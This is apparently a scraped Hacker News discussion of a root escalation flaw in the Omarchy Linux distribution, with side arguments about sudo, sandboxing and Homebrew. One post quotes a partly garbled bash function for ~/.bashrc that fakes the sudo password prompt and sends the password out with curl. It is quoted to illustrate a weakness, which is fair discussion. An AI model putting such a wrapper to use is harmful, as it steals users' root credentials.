Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

Post reply on HN
Print view View original

451–460 of 591 posts

Re: Omarchy: Any User Process Can Escalate to Root

#451

Post by lrvick »

dist-epoch wrote: post #327
lrvick wrote: post #121

Earlier quoted context omitted.

There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.

But what exactly are you protecting then? Linux root/regular-user model comes from an ancient time with multi-user architecture where you defended against one user taking over a big machine they didn't own. But today on personal computers all the good stuff is inside regular users accounts, and there is nothing valuable to be gained by becoming root. So the whole security model is broken, it protects the OS system fi…

Well you of course want to sub-divide every application in user space either with gvisor or a hypervisor, like QubesOS.

If someone pwns your personal browser they should pop out into an environment where nothing exists but that browser, with no idea the work browser is in a sibling vm.

Re: Omarchy: Any User Process Can Escalate to Root

#452

Post by lrvick »

utopiah wrote: post #252
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Funnily enough it wouldn't work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking "Hmmm weird" but still want to proceed forward ¯\_ (ツ)_/¯

Of course this style of attack would work on you. Attacker has the sudo wrapper that hooks your next yubikey tap to running any payload they want as root.

Your solution helps mitigate hardware keyloggers, which is great, but for malware in your home directory, it offers no advantages.

Re: Omarchy: Any User Process Can Escalate to Root

#453

Post by pram »

lrvick wrote: post #96
fny wrote: post #69

Earlier quoted context omitted.

Why doesn't Ubuntu fit the bill? You can even install hombrew on it. Everything works like a mac with no fuss. Also the only reason I left Linux was due to hardware. Ubuntu was convenient enough.

Homebrew is like giving a bunch of wikipedia randos remote shell access to your computer. There is no enforced code review policy. Any maintainer can make a commit under a pseudonym and merge their own code to main without review. Homebrew should not be allowed near any machine you need to be able to trust.

This isn't true at all lol, if you make a PR to the formulas it is certainly reviewed. By a real human no less. wtf are you talking about

Re: Omarchy: Any User Process Can Escalate to Root

#454

Post by Dylan16807 »

Brian_K_White wrote: post #95
jp_sc wrote: post #79

Earlier quoted context omitted.

It's definitely not why *I* switched away from Windows

You didn't switch away from windows to get superior software? Also, the statement was valid because it will be true for most. It doesn't matter that you read it and it wasn't true for you, as long as it's true by the numbers, it's true, because it's one-to-many communication not one to one.

I'm sure "superior software" is true for most, but that's a much wider goalpost than the people specifically worried about security/vulnerabilities. One of the biggest factors pushing people to Linux lately is the increasing number of ads and annoyances being crammed in to Windows. Security has been moderate for a long time.

Re: Omarchy: Any User Process Can Escalate to Root

#456

Post by KennyBlanken »

aseipp wrote: post #330
Cloudef wrote: post #163

Earlier quoted context omitted.

Its opposite. Windows and MacOS lacks proper sandboxing. While openbsd has pinsyscalls and linux has seccomp-bpf. Windows and MacOS only have filesystem and worse version of user namespace sandboxes, anything else and you need to write a kernel extension or rely on a hypervisor. > Unfortunately implementing an Apple style architecture on Linux would be very difficult. The apple apps kind of thing already exists and i…

macOS absolutely has sandboxing, what are you talking about? But the reality is that you need custom sandboxing tools less when you don't have basic problems like "anything that runs ever can read my ~/.ssh directory without problem" or "you can hijack my password by interposing sudo and thus do anything". This does not matter because macOS will see a program signed by Corp XYZ is trying to read data not owned by tha…

They purposefully used a weasel word - "proper" - to shift the argument to being about their opinion on what a proper sandboxing system is.

Re: Omarchy: Any User Process Can Escalate to Root

#457

Post by hellcow »

sashank_1509 wrote: post #450

Ubuntu is good enough. I never got the point of tiling window managers, because the most important part of daily computing, browsing the web requires you to use the mouse. I’ve tried keyboard only browsers, none of them are as intuitive as just using a mouse and they can’t be, especially considering the prevalence of hyperlinks. I guess while coding it is nice, but I can switch between the terminal and my editor in a…

vimium is my solution to the web.

Re: Omarchy: Any User Process Can Escalate to Root

#458

Post by addajones »

newspaper1 wrote: post #403
addajones wrote: post #368

Earlier quoted context omitted.

So he’s a lost cause to you? You decided already? So much doom and gloom in your response.

Yes, he’s a lost cause: https://tekin.co.uk/2025/09/the-ruby-community-has-a-dhh-pro...

So what works for you: seeing him disappear from the Earth? He's not a human anymore? Have you ever spoken with him directly before? Or do you just read and write about people you've never had any real interaction with?

Re: Omarchy: Any User Process Can Escalate to Root

#459

Post by simoncion »

lrvick wrote: post #445
stickynotememo wrote: post #383

Earlier quoted context omitted.

How would you install packages (or update the kernel)?

For root filesystems I am recently favoring EROFS which is read only, fast, and can run from ram. On workstations I install almost all software to ~/.local as the home partition is writable. I also put all my systemd user units there, so I can run any binaries I compile as a system service to survive reboots as I like all without root. The system root partition should contain a kernel, init system, and run any essent…

To summarize:

stickynotememo: "How would you install packages (or update the kernel)?"

You: «You'd use sudo or su (of course) but I'm going to distract you from that with an advertisement for the work I'm doing on my personal project!» [0]

But, perhaps I misunderstood what you wrote. So... I'll ask stickynotememo's question in a different way:

  How would a user of your system update the Systemd collection of software to apply a critical security update?
If the answer is something like "I'd rebuild the read-only root partition with the new code.", then I ask:

  1) How does the data in that root partition get rebuilt? If it's on another computer, how does one control access to the root-partition-rebuild computer?
  
  2) How does one instruct the user's computer to use that newly-rebuilt root partition? How does one control access to the system that permits one to load a new root partition and/or change which root partition to use?

  3) How does a user recover when an update fails or is faulty in a way that your smoke tests didn't catch?
Please keep your answers concise.

[0] Personal projects are great, and I strongly encourage them. However, the way you've answered is what a greybeard would describe as "pulling a fast one". Pulling a fast one does not earn trust.

Re: Omarchy: Any User Process Can Escalate to Root

#460

Post by TZubiri »

concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

>If you use Omarchy, the most important takeaway is simple: update to 4.0.1.

More like, don't use Omarchy, or vibecoded Operating Systems.

Running a descriptor into a shell command is laughably sloppish.

Post reply on HN